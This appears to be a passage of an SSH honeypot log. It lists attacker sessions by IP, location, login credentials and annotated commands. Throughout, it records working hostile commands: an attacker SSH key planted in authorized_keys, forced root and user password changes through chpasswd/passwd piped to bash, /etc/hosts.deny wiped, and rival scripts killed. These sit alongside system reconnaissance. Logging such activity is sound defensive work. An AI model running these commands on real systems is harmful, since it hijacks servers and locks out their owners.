$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo -e "123\n23isN3ImUU1J\n23isN3ImUU1J"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "123\n23isN3ImUU1J\n23isN3ImUU1J\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:NXmdR97LtylI"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ echo -e "1234\nR1xGuJ8tegAE\nR1xGuJ8tegAE"|passwd|bash

$ echo "1234\nR1xGuJ8tegAE\nR1xGuJ8tegAE\n"|passwd

🎭 cipher_root_6 (203.150.107.244) — Vadhana, Thailand · 3 sessions · 59 cmds

2026-07-09 17:06 EDT · as erpnext/1234, root/qwertyqwerty, super/123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo "root:pBYhkRWWqiQH"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo -e "1234\nyCV0eD49tJU4\nyCV0eD49tJU4"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "1234\nyCV0eD49tJU4\nyCV0eD49tJU4\n"|passwd

$ echo -e "123\n1lMxwwd3qd9Z\n1lMxwwd3qd9Z"|passwd|bash

$ echo "123\n1lMxwwd3qd9Z\n1lMxwwd3qd9Z\n"|passwd

🎭 autobahn_root_4 (178.105.87.232) — Nuremberg, Germany · 1 session · 19 cmds

2026-07-09 17:03 EDT · as root/Minijer.com

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:aYsKh6zgLo49"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 tulip_root (193.32.162.83) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-07-09 14:59 EDT · as root/1qaz2wsx

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 wok_root_6 (14.103.65.6) — Beijing, China · 1 session · 7 cmds

2026-07-09 13:33 EDT · as ubuntu/Ubuntu123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Ubuntu123456\nMaVis2uJSJOS\nMaVis2uJSJOS"|passwd|bash

$ Enter new UNIX password:

$ echo "Ubuntu123456\nMaVis2uJSJOS\nMaVis2uJSJOS\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

🎭 phantom_root_29 (150.5.146.222) — Hong Kong, Hong Kong · 1 session · 20 cmds

2026-07-09 11:59 EDT · as jayesh/jayesh

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "jayesh\nlt7kGQdZPrqE\nlt7kGQdZPrqE"|passwd|bash

$ Enter new UNIX password:

$ echo "jayesh\nlt7kGQdZPrqE\nlt7kGQdZPrqE\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_2 (79.175.176.177) — Tehran, Iran · 3 sessions · 3 cmds

2026-07-09 07:06 EDT · as mongo/123456, ranger/ranger, root/root

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×3

🎭 dragon_root_8 (106.13.56.235) — Beijing, China · 1 session · 20 cmds

2026-07-09 07:10 EDT · as ranger/ranger

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "ranger\nozW7erpwXlML\nozW7erpwXlML"|passwd|bash

$ Enter new UNIX password:

$ echo "ranger\nozW7erpwXlML\nozW7erpwXlML\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 strudel_root_11 (139.59.146.150) — Frankfurt am Main, Germany · 1 session · 20 cmds

2026-07-09 06:33 EDT · as iot/iot123!

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "iot123!\nsKVDoAdatCOt\nsKVDoAdatCOt"|passwd|bash

$ Enter new UNIX password:

$ echo "iot123!\nsKVDoAdatCOt\nsKVDoAdatCOt\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 silk_root_7 (58.223.165.154) — Nanjing, China · 1 session · 1 cmd

2026-07-09 04:03 EDT · as root/---fuck_you----

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 wraith_root_11 (125.212.235.194) — Hanoi, Vietnam · 1 session · 20 cmds

2026-07-09 00:55 EDT · as ozone/ozone

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "ozone\ntDO61ABkcmEr\ntDO61ABkcmEr"|passwd|bash

$ Enter new UNIX password:

$ echo "ozone\ntDO61ABkcmEr\ntDO61ABkcmEr\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_9 (95.65.98.52) — Chisinau, Moldova · 1 session · 19 cmds

2026-07-09 00:52 EDT · as root/Qwer123321

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:iION72gKGGcl"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 liberty_root_7 (144.172.114.132) — Ogden, United States · 1 session · 20 cmds

2026-07-09 00:41 EDT · as www/www$123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "www$123\nnAsTV18bbnnY\nnAsTV18bbnnY"|passwd|bash

$ Enter new UNIX password:

$ echo "www$123\nnAsTV18bbnnY\nnAsTV18bbnnY\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 dragon_root_9 (106.13.38.13) — Beijing, China · 1 session · 1 cmd

2026-07-09 00:28 EDT · as root/---fuck_you----

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 panda_root_7 (27.155.120.131) — Wenquan, China · 1 session · 20 cmds

2026-07-08 23:48 EDT · as cockpit/cockpit123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "cockpit123\nN6QMJrNUrsen\nN6QMJrNUrsen"|passwd|bash

$ Enter new UNIX password:

$ echo "cockpit123\nN6QMJrNUrsen\nN6QMJrNUrsen\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 capoeira_root_2 (177.16.244.39) — Porto Seguro, Brazil · 1 session · 20 cmds

2026-07-08 23:39 EDT · as ozone/ozone

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "ozone\n2XSALVzutR2G\n2XSALVzutR2G"|passwd|bash

$ Enter new UNIX password:

$ echo "ozone\n2XSALVzutR2G\n2XSALVzutR2G\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 monsoon_root_3 (34.100.248.63) — Mumbai, India · 1 session · 20 cmds

2026-07-08 23:26 EDT · as ubuntu/Cloud@123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Cloud@123\nodgi9JNIPKjG\nodgi9JNIPKjG"|passwd|bash

$ Enter new UNIX password:

$ echo "Cloud@123\nodgi9JNIPKjG\nodgi9JNIPKjG\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 acai_root (177.37.141.115) — João Pessoa, Brazil · 1 session · 19 cmds

2026-07-08 23:17 EDT · as root/Mz@123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:deKnGU0kuQMy"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 bike_root_3 (79.137.197.193) — Amsterdam, The Netherlands · 1 session · 19 cmds

2026-07-08 23:14 EDT · as root/8520

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

